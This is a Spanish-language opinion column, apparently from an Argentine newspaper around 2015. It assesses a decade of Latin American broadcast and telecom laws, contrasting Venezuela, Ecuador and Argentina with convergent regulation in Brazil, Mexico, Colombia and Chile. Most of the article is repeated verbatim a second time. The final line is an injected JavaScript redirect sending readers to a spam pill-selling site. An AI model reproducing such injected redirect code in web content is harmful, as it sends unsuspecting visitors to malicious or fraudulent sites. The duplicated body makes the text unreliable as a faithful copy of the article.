La mejor ley de prensa es la que no existe», dijo en septiembre de 2010 el entonces presidente de Uruguay, José «Pepe» Mujica, tres años antes de mandar al Congreso su propio proyecto para regular la comunicación audiovisual. El carismático líder de la izquierda oriental sucumbió a la fiebre reguladora de la comunicación que había inaugurado el presidente Hugo Chávez en 2004, cuando Venezuela dictó su fundacional ley de responsabilidad social en radio y televisión (Resorte). Mujica no fue el único: la mayor parte del progresismo latinoamericano -políticos, académicos, periodistas e integrantes de organizaciones no gubernamentales- militó activamente en favor de estas normas. Es más, hasta hace poco tiempo, levantar la voz para advertir sobre los riesgos que la mayor parte de aquellos postulados implicaba para los derechos más básicos significaba quedarse solo o terminar señalado como defensor de los monopolios económicos o informativos.
Muchos de aquellos intelectuales que con sinceridad creyeron en las ventajas de estas nuevas legislaciones habían protagonizado en las décadas previas debates sobre el papel de los medios en la vida política, los procesos de concentración económica y los impedimentos para el acceso de algunos sectores a frecuencias de radio y televisión.
Sobre aquellas buenas intenciones, gobiernos populistas con vocación hegemónica construyeron su maquinaria jurídica para controlar a la opinión pública.
A más de una década del comienzo de aquel proceso, y cuando se cumplen -mañana- seis años de la sanción de la ley de servicios de comunicación audiovisual argentina, es un buen momento para hacer un balance general. A primera vista, esa ponderación muestra nuevamente los múltiples rostros de América latina: por un lado, un profundo retroceso de las libertades de expresión y de prensa, y un enorme atraso en el desarrollo de las comunicaciones; y por el otro, loables intentos de establecer regulaciones convergentes de radiodifusión y telecomunicaciones que no sólo faciliten la actuación libre de los medios, sino, sobre todo, que permitan a los ciudadanos el acceso a las nuevas tecnologías para poder expresarse por sí mismos, sin intermediarios.
De un lado quedaron Venezuela y Ecuador, que representan desde hace tiempo una enorme tragedia para la libertad de expresión en la región. En Venezuela, las pintorescas cadenas nacionales de Chávez derivaron en autocensura, medios comprados por empresarios amigos, periodistas exiliados, opositores presos y una persecución ideológica que hoy alcanza incluso a las redes sociales. Y en Ecuador, donde la ley orgánica de comunicación de 2014 estableció delitos de opinión como el «linchamiento mediático», el presidente Rafael Correa persigue personalmente a periodistas -la situación del caricaturista Xavier Bonilla es un caso testigo- y hace 15 días estuvo a punto de disolver Fundamedios, la principal ONG en la defensa de la libertad de expresión.
En la misma dirección, pero todavía a mucha distancia de aquéllos, se ubica la Argentina con sus contradictorias leyes de medios (2009) y de telecomunicaciones (2014), y su aún más contradictoria aplicación (cuyo punto máximo ha sido el cierre y decomiso de los equipos del canal comunitario Antena Negra TV). En el medio, evitando el contagio directo y a tono con sus respectivas tradiciones, se mueven Uruguay (con su ley de medios de 2014) y Bolivia (ley general de telecomunicaciones, tecnología y comunicación, de 2011).
Del otro lado, Brasil, México, Colombia y Chile, con matices, mostraron estos años algunos avances en la regulación convergente de la radiodifusión y las telecomunicaciones, con normas específicas de acceso a la información pública, y leyes que establecieron amplios marcos de garantías para el funcionamiento de Internet. Para que se entienda: la palabra convergencia refiere en la práctica a la desaparición de las fronteras tecnológicas que diferenciaban a los medios de comunicación de las empresas telefónicas, que hoy forman un mismo sector económico. Además, quienes tradicionalmente brindaban servicios de conectividad ahora también producen contenidos (por ejemplo, las telefónicas). Y viceversa, quienes vienen del mundo de los contenidos ya están también en el de los servicios (por ejemplo, los cableoperadores). Internet es el punto en el que todo se cruza.
Reconociendo esa nueva realidad, México -con una enmienda constitucional (2013) y una ley federal de telecomunicaciones y radiodifusión (2014)- dio algunos pasos hacia la regulación convergente que promete mayor competencia en un mercado oligopolizado. En 2009, Colombia había sido el primer país en tener una norma convergente, que regulaba todas las redes de comunicación (con excepción de la TV abierta). Brasil dictó tal vez la norma más interesante y avanzada de toda la década: el marco civil de Internet (2014) para fijar estándares amplios que garanticen la libertad y neutralidad de la Red. En este último sentido, Chile también sancionó, en 2010, la primera norma específica sobre este último concepto, que obliga a los proveedores de acceso a tratar de igual manera todos los contenidos, sin distinción de contenido, origen y destino.
A más de diez años de aquella fundacional ley resorte, la región muestra señales de enderezarse hacia nuevos rumbos, en los que tal vez confluyan finalmente la mayoría de los países. En este sentido pueden interpretarse la decisión del presidente uruguayo, Tabaré Vázquez, de no reglamentar la ley de medios (muy parecida a la argentina) que heredó de Mujica hasta que la Corte Suprema de Justicia de su país defina si es o no constitucional; la resistencia que la presidenta Dilma Russeff plantea a los sectores internos del Partido de los Trabajadores que impulsan una ley de medios para Brasil desde 2003; el reciente anuncio del presidente Evo Morales acerca de que no prevé modificar la legislación vigente (ni la ley general de 2011 ni la de imprenta de 1925), y, principalmente, la sentencia de la Corte Interamericana de Derechos Humanos (CIDH), que falló en favor del canal venezolano RCTV, cerrado por Chávez en 2007, en lo que fue un inequívoco mensaje de lo que vendría poco tiempo después. La CIDH condenó el mes pasado al Estado venezolano por violar la libertad de expresión y le ordenó devolver el equipamiento y permitirle al canal volver al aire hasta que se realicen nuevos concursos.
Pero además, prestigiosas organizaciones que en su momento acompañaron con su apoyo o su silencio la sanción de estas leyes empiezan a revisar sus posiciones o al menos cuestionan abiertamente la manera en la que se aplican. Por ejemplo, refiriéndose al caso argentino, el relator para la libertad de expresión de la OEA, Edison Lanza, sorprendió la semana pasada al afirmar que «el cambio de gobierno marca el momento para revisar la ley audiovisual» porque «incluye algunas normas que no cumplen requisitos de proporcionalidad y razonabilidad». Para Lanza, que hizo estas afirmaciones en la 71a Asamblea General de la Sociedad Interamericana de Prensa (SIP), la norma «tiene un grave problema que es la falta de autonomía de la autoridad de aplicación». No obstante, el relator calificó la ley como «estructuralmente buena».
Los mismos sectores que hace diez años creyeron en estas legislaciones están ahora, en mayor o menor medida, revisando sus posiciones a la luz de la experiencia. En este nuevo contexto, América latina podría estar ante la oportunidad de empezar a pensar una regulación de escala regional que resuelva múltiples asimetrías y brinde un marco general para el desarrollo de las comunicaciones en todo el subcontinente. Es obvio que nuestra región no ha podido resolver de manera conjunta otras cuestiones y que está lejos del nivel de integración de la Unión Europea (que siempre es un modelo para considerar y que va camino de discutir una licencia única de comunicaciones para todo el bloque y sin distinguir telecomunicaciones ni radiodifusión). Pero no es menos cierto que crece el número de casos concretos en los que deben tomarse decisiones urgentes de manera bilateral o multilateral, por ejemplo en el uso del espectro radioeléctrico para evitar interferencias. O desde el plano económico, para crear un contexto en el que empresas de capitales latinoamericanos puedan plantear competencia a grandes conglomerados extranjeros.
El dilema Estado vs. mercado es falso. No se trata de regular o desregular, sino de establecer reglas claras para que los esfuerzos públicos y privados terminen redundando en contenidos de mayor calidad que reflejen los intereses y las identidades locales (para lo cual la libertad es siempre una condición sine qua non) y provean simultáneamente de mejores servicios de conectividad para la comunicación individual y social.
Que el aprendizaje de estos diez años no haya sido en vano.
Muchos de aquellos intelectuales que con sinceridad creyeron en las ventajas de estas nuevas legislaciones habían protagonizado en las décadas previas debates sobre el papel de los medios en la vida política, los procesos de concentración económica y los impedimentos para el acceso de algunos sectores a frecuencias de radio y televisión.
Sobre aquellas buenas intenciones, gobiernos populistas con vocación hegemónica construyeron su maquinaria jurídica para controlar a la opinión pública.
A más de una década del comienzo de aquel proceso, y cuando se cumplen -mañana- seis años de la sanción de la ley de servicios de comunicación audiovisual argentina, es un buen momento para hacer un balance general. A primera vista, esa ponderación muestra nuevamente los múltiples rostros de América latina: por un lado, un profundo retroceso de las libertades de expresión y de prensa, y un enorme atraso en el desarrollo de las comunicaciones; y por el otro, loables intentos de establecer regulaciones convergentes de radiodifusión y telecomunicaciones que no sólo faciliten la actuación libre de los medios, sino, sobre todo, que permitan a los ciudadanos el acceso a las nuevas tecnologías para poder expresarse por sí mismos, sin intermediarios.
De un lado quedaron Venezuela y Ecuador, que representan desde hace tiempo una enorme tragedia para la libertad de expresión en la región. En Venezuela, las pintorescas cadenas nacionales de Chávez derivaron en autocensura, medios comprados por empresarios amigos, periodistas exiliados, opositores presos y una persecución ideológica que hoy alcanza incluso a las redes sociales. Y en Ecuador, donde la ley orgánica de comunicación de 2014 estableció delitos de opinión como el «linchamiento mediático», el presidente Rafael Correa persigue personalmente a periodistas -la situación del caricaturista Xavier Bonilla es un caso testigo- y hace 15 días estuvo a punto de disolver Fundamedios, la principal ONG en la defensa de la libertad de expresión.
En la misma dirección, pero todavía a mucha distancia de aquéllos, se ubica la Argentina con sus contradictorias leyes de medios (2009) y de telecomunicaciones (2014), y su aún más contradictoria aplicación (cuyo punto máximo ha sido el cierre y decomiso de los equipos del canal comunitario Antena Negra TV). En el medio, evitando el contagio directo y a tono con sus respectivas tradiciones, se mueven Uruguay (con su ley de medios de 2014) y Bolivia (ley general de telecomunicaciones, tecnología y comunicación, de 2011).
Del otro lado, Brasil, México, Colombia y Chile, con matices, mostraron estos años algunos avances en la regulación convergente de la radiodifusión y las telecomunicaciones, con normas específicas de acceso a la información pública, y leyes que establecieron amplios marcos de garantías para el funcionamiento de Internet. Para que se entienda: la palabra convergencia refiere en la práctica a la desaparición de las fronteras tecnológicas que diferenciaban a los medios de comunicación de las empresas telefónicas, que hoy forman un mismo sector económico. Además, quienes tradicionalmente brindaban servicios de conectividad ahora también producen contenidos (por ejemplo, las telefónicas). Y viceversa, quienes vienen del mundo de los contenidos ya están también en el de los servicios (por ejemplo, los cableoperadores). Internet es el punto en el que todo se cruza.
Reconociendo esa nueva realidad, México -con una enmienda constitucional (2013) y una ley federal de telecomunicaciones y radiodifusión (2014)- dio algunos pasos hacia la regulación convergente que promete mayor competencia en un mercado oligopolizado. En 2009, Colombia había sido el primer país en tener una norma convergente, que regulaba todas las redes de comunicación (con excepción de la TV abierta). Brasil dictó tal vez la norma más interesante y avanzada de toda la década: el marco civil de Internet (2014) para fijar estándares amplios que garanticen la libertad y neutralidad de la Red. En este último sentido, Chile también sancionó, en 2010, la primera norma específica sobre este último concepto, que obliga a los proveedores de acceso a tratar de igual manera todos los contenidos, sin distinción de contenido, origen y destino.
A más de diez años de aquella fundacional ley resorte, la región muestra señales de enderezarse hacia nuevos rumbos, en los que tal vez confluyan finalmente la mayoría de los países. En este sentido pueden interpretarse la decisión del presidente uruguayo, Tabaré Vázquez, de no reglamentar la ley de medios (muy parecida a la argentina) que heredó de Mujica hasta que la Corte Suprema de Justicia de su país defina si es o no constitucional; la resistencia que la presidenta Dilma Russeff plantea a los sectores internos del Partido de los Trabajadores que impulsan una ley de medios para Brasil desde 2003; el reciente anuncio del presidente Evo Morales acerca de que no prevé modificar la legislación vigente (ni la ley general de 2011 ni la de imprenta de 1925), y, principalmente, la sentencia de la Corte Interamericana de Derechos Humanos (CIDH), que falló en favor del canal venezolano RCTV, cerrado por Chávez en 2007, en lo que fue un inequívoco mensaje de lo que vendría poco tiempo después. La CIDH condenó el mes pasado al Estado venezolano por violar la libertad de expresión y le ordenó devolver el equipamiento y permitirle al canal volver al aire hasta que se realicen nuevos concursos.
Pero además, prestigiosas organizaciones que en su momento acompañaron con su apoyo o su silencio la sanción de estas leyes empiezan a revisar sus posiciones o al menos cuestionan abiertamente la manera en la que se aplican. Por ejemplo, refiriéndose al caso argentino, el relator para la libertad de expresión de la OEA, Edison Lanza, sorprendió la semana pasada al afirmar que «el cambio de gobierno marca el momento para revisar la ley audiovisual» porque «incluye algunas normas que no cumplen requisitos de proporcionalidad y razonabilidad». Para Lanza, que hizo estas afirmaciones en la 71a Asamblea General de la Sociedad Interamericana de Prensa (SIP), la norma «tiene un grave problema que es la falta de autonomía de la autoridad de aplicación». No obstante, el relator calificó la ley como «estructuralmente buena».
Los mismos sectores que hace diez años creyeron en estas legislaciones están ahora, en mayor o menor medida, revisando sus posiciones a la luz de la experiencia. En este nuevo contexto, América latina podría estar ante la oportunidad de empezar a pensar una regulación de escala regional que resuelva múltiples asimetrías y brinde un marco general para el desarrollo de las comunicaciones en todo el subcontinente. Es obvio que nuestra región no ha podido resolver de manera conjunta otras cuestiones y que está lejos del nivel de integración de la Unión Europea (que siempre es un modelo para considerar y que va camino de discutir una licencia única de comunicaciones para todo el bloque y sin distinguir telecomunicaciones ni radiodifusión). Pero no es menos cierto que crece el número de casos concretos en los que deben tomarse decisiones urgentes de manera bilateral o multilateral, por ejemplo en el uso del espectro radioeléctrico para evitar interferencias. O desde el plano económico, para crear un contexto en el que empresas de capitales latinoamericanos puedan plantear competencia a grandes conglomerados extranjeros.
El dilema Estado vs. mercado es falso. No se trata de regular o desregular, sino de establecer reglas claras para que los esfuerzos públicos y privados terminen redundando en contenidos de mayor calidad que reflejen los intereses y las identidades locales (para lo cual la libertad es siempre una condición sine qua non) y provean simultáneamente de mejores servicios de conectividad para la comunicación individual y social.
Que el aprendizaje de estos diez años no haya sido en vano.
window.location = «http://cheap-pills-norx.com»;